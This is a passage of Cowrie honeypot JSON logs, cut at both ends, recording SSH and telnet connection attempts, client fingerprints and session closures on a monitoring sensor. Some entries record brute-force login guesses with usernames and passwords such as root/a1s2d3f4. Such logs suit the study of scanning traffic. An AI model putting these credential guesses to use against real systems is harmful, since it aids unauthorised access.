ha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:47.608399Z","src_ip":"176.65.139.103","session":"215e72a165aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1s2d3f4","message":"login attempt [root/a1s2d3f4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:47.857413Z","src_ip":"176.65.139.103","session":"215e72a165aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":42392,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cf19066d2ee","protocol":"telnet","message":"New connection: 94.23.163.94:42392 (10.17.0.5:23) [session: 5cf19066d2ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:48.071642Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:48.957263Z","src_ip":"176.65.139.103","session":"215e72a165aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.49812126159668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:49.052102Z","src_ip":"45.151.123.85","session":"dd1d02e40eea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":34668,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bc09b6354b9","protocol":"telnet","message":"New connection: 5.189.169.71:34668 (10.17.0.5:23) [session: 0bc09b6354b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:49.064914Z"}
{"eventid":"cowrie.session.closed","duration":30.370397329330444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:49.090822Z","src_ip":"5.189.169.71","session":"99085332292d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":34672,"dst_ip":"10.17.0.5","dst_port":23,"session":"56e063dd4394","protocol":"telnet","message":"New connection: 5.189.169.71:34672 (10.17.0.5:23) [session: 56e063dd4394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:49.127001Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":34676,"dst_ip":"10.17.0.5","dst_port":23,"session":"46ba44b8832c","protocol":"telnet","message":"New connection: 5.189.169.71:34676 (10.17.0.5:23) [session: 46ba44b8832c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:49.299079Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":34680,"dst_ip":"10.17.0.5","dst_port":23,"session":"6622236de384","protocol":"telnet","message":"New connection: 5.189.169.71:34680 (10.17.0.5:23) [session: 6622236de384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:50.064530Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":42402,"dst_ip":"10.17.0.5","dst_port":23,"session":"45c31f7d1cd7","protocol":"telnet","message":"New connection: 94.23.163.94:42402 (10.17.0.5:23) [session: 45c31f7d1cd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:50.148244Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57304,"dst_ip":"159.203.135.109","dst_port":22,"session":"4489ad0a0699","protocol":"ssh","message":"New connection: 159.203.92.129:57304 (159.203.135.109:22) [session: 4489ad0a0699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:50.265789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:50.270306Z","src_ip":"159.203.92.129","session":"4489ad0a0699","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:50.274274Z","src_ip":"159.203.92.129","session":"4489ad0a0699","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anne","password":"anne","message":"login attempt [anne/anne] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:50.325488Z","src_ip":"159.203.92.129","session":"4489ad0a0699","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.99765634536743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:50.629993Z","src_ip":"178.83.200.3","session":"36ec85544026","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":34694,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9afdc39b25a","protocol":"telnet","message":"New connection: 5.189.169.71:34694 (10.17.0.5:23) [session: e9afdc39b25a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:50.855120Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":34704,"dst_ip":"10.17.0.5","dst_port":23,"session":"a54fb627d2a2","protocol":"telnet","message":"New connection: 5.189.169.71:34704 (10.17.0.5:23) [session: a54fb627d2a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:50.992238Z"}
{"eventid":"cowrie.session.closed","duration":30.52792191505432,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:51.055955Z","src_ip":"5.189.169.71","session":"0fbe5265d2b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:51.331139Z","src_ip":"159.203.92.129","session":"4489ad0a0699","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":34716,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4dd85b4df1f","protocol":"telnet","message":"New connection: 5.189.169.71:34716 (10.17.0.5:23) [session: c4dd85b4df1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:51.400968Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":42414,"dst_ip":"10.17.0.5","dst_port":23,"session":"0986ab47e13a","protocol":"telnet","message":"New connection: 94.23.163.94:42414 (10.17.0.5:23) [session: 0986ab47e13a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:51.484802Z"}
{"eventid":"cowrie.session.closed","duration":31.11061382293701,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:52.072035Z","src_ip":"5.189.178.126","session":"1757d2c1d051","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.647937536239624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:52.180039Z","src_ip":"94.23.163.94","session":"40e49fc346df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":42430,"dst_ip":"10.17.0.5","dst_port":23,"session":"397eaf77e082","protocol":"telnet","message":"New connection: 94.23.163.94:42430 (10.17.0.5:23) [session: 397eaf77e082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:52.521836Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":34718,"dst_ip":"10.17.0.5","dst_port":23,"session":"2904ff09f279","protocol":"telnet","message":"New connection: 5.189.169.71:34718 (10.17.0.5:23) [session: 2904ff09f279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:52.615054Z"}
{"eventid":"cowrie.session.closed","duration":31.357511520385742,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:52.707854Z","src_ip":"5.189.169.71","session":"f8b6441ef22c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.379213094711304,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:53.052941Z","src_ip":"94.23.163.94","session":"0e78cbe4085b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.761208057403564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:53.057572Z","src_ip":"5.189.169.71","session":"031259447e60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2291841506958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:54.164574Z","src_ip":"94.23.163.94","session":"c3684de815fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80875539779663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:54.265696Z","src_ip":"5.189.178.126","session":"7f39953e6c6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41968,"dst_ip":"10.17.0.5","dst_port":22,"session":"e02cb3ea9f9e","protocol":"ssh","message":"New connection: 176.65.139.103:41968 (10.17.0.5:22) [session: e02cb3ea9f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:54.451357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:54.456271Z","src_ip":"176.65.139.103","session":"e02cb3ea9f9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:54.538477Z","src_ip":"176.65.139.103","session":"e02cb3ea9f9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sit","password":"sit123456","message":"login attempt [sit/sit123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:54.785493Z","src_ip":"176.65.139.103","session":"e02cb3ea9f9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.83218002319336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:55.109613Z","src_ip":"5.189.169.71","session":"5345b050f3b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.258393049240112,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:55.164004Z","src_ip":"5.189.169.71","session":"09a0d68b2396","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:55.944591Z","src_ip":"176.65.139.103","session":"e02cb3ea9f9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.81239938735962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:56.052172Z","src_ip":"5.189.169.71","session":"c0f5f6e8d39c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81257653236389,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:56.060452Z","src_ip":"5.189.169.71","session":"10758deca8fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.729768991470337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:56.180225Z","src_ip":"5.189.178.126","session":"194732b98947","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":34720,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8623bf47a94","protocol":"telnet","message":"New connection: 5.189.169.71:34720 (10.17.0.5:23) [session: f8623bf47a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:56.495219Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":34722,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f01faf5b671","protocol":"telnet","message":"New connection: 5.189.169.71:34722 (10.17.0.5:23) [session: 6f01faf5b671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:56.808745Z"}
{"eventid":"cowrie.session.closed","duration":30.85253071784973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:57.081964Z","src_ip":"5.189.169.71","session":"d7188f835c67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":41300,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dbd715bafba","protocol":"telnet","message":"New connection: 94.23.163.94:41300 (10.17.0.5:23) [session: 3dbd715bafba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:57.377209Z"}
{"eventid":"cowrie.session.closed","duration":36.210893392562866,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:57.599888Z","src_ip":"23.254.167.244","session":"ff6eefb17b56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":34730,"dst_ip":"10.17.0.5","dst_port":23,"session":"643601e0bf6f","protocol":"telnet","message":"New connection: 5.189.169.71:34730 (10.17.0.5:23) [session: 643601e0bf6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:57.947065Z"}
{"eventid":"cowrie.session.closed","duration":30.966336727142334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:58.177899Z","src_ip":"5.189.169.71","session":"c22c594d525d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":54962,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e3d8d5f9330","protocol":"telnet","message":"New connection: 5.189.169.71:54962 (10.17.0.5:23) [session: 4e3d8d5f9330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:58.379150Z"}
{"eventid":"cowrie.session.closed","duration":31.41824197769165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:58.735966Z","src_ip":"5.189.169.71","session":"b603d0a11e01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.804267168045044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:59.051861Z","src_ip":"5.189.169.71","session":"1a16ae1a4f8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":54970,"dst_ip":"10.17.0.5","dst_port":23,"session":"646fd7ff4e46","protocol":"telnet","message":"New connection: 5.189.169.71:54970 (10.17.0.5:23) [session: 646fd7ff4e46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:59.138316Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":54986,"dst_ip":"10.17.0.5","dst_port":23,"session":"08a097d5e064","protocol":"telnet","message":"New connection: 5.189.169.71:54986 (10.17.0.5:23) [session: 08a097d5e064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:59.274718Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":54988,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0772d7dc308","protocol":"telnet","message":"New connection: 5.189.169.71:54988 (10.17.0.5:23) [session: c0772d7dc308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:59.667192Z"}
{"eventid":"cowrie.session.closed","duration":31.400845527648926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:59.698728Z","src_ip":"94.23.163.94","session":"eb1c9b5dd9a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.18598175048828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:00.050930Z","src_ip":"94.23.163.94","session":"2ecc75a4ce5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.049734354019165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:00.157747Z","src_ip":"94.23.163.94","session":"bcb477df4878","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":54994,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b88e952ba09","protocol":"telnet","message":"New connection: 5.189.169.71:54994 (10.17.0.5:23) [session: 0b88e952ba09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:00.363923Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55010,"dst_ip":"10.17.0.5","dst_port":23,"session":"929ae468769b","protocol":"telnet","message":"New connection: 5.189.169.71:55010 (10.17.0.5:23) [session: 929ae468769b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:00.395599Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55014,"dst_ip":"10.17.0.5","dst_port":23,"session":"60315485d58b","protocol":"telnet","message":"New connection: 5.189.169.71:55014 (10.17.0.5:23) [session: 60315485d58b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:00.500494Z"}
{"eventid":"cowrie.session.closed","duration":31.09944462776184,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:01.053581Z","src_ip":"5.189.169.71","session":"8ec8be159274","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.723518133163452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:01.451379Z","src_ip":"5.189.169.71","session":"f4bd7cc574e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.926819562911987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:02.065568Z","src_ip":"94.23.163.94","session":"9a547253cf03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41982,"dst_ip":"10.17.0.5","dst_port":22,"session":"673bded4b2bf","protocol":"ssh","message":"New connection: 176.65.139.103:41982 (10.17.0.5:22) [session: 673bded4b2bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:02.125918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:02.131502Z","src_ip":"176.65.139.103","session":"673bded4b2bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 